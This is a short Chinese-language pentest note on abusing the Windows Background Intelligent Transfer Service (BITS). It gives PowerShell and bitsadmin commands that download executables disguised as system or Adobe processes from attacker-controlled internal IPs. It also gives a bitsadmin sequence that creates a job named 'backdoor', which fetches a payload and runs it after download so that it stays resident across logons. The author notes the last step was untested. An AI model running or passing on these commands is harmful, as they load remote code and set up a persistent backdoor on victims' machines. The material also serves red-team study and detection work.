一、Bits Job
windows后台智能传输服务 Background Intelligent Transfer Service (BITS),用于HTTP或SMB文件传输;它可以给任务设置优先级和异步下载,智能调节带宽,从而不占用其他应用的网络资源。
Powershell和bitsadmin.exe都可用于创建和管理Bits Job,但Powershell似乎只支持文件传输,windows原生程序bitsadmin.exe还支持传输完成后执行代码。
二、Execution
# powershell 传输文件 Start-BitsTransfer -Source http://192.168.240.135/csrss.exe -Destination C:\Users\win10\Desktop\csrss.exe # bitsadmin tool传输文件 bitsadmin /transfer test /download /priority high http://192.168.240.135/acrotray.exe C:\Users\win10\Desktop\acrotray.exe
可用下面的方法建一个bitsjob, bitsjob在用户交互式登录后就会自动执行,除非cancel或complete它,或者90天后系统自动cancel。这样就达到了驻留的目的
# 下载后执行文件(python搭的simple httpserver会10054 error,这一步本地没实验) bitsadmin /create backdoor bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C:\tmp\pentestlab.exe" bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL bitsadmin /resume backdoor # 完成或取消 bitsjob bitsadmin /complete backdoor bitsadmin /cancel backdoor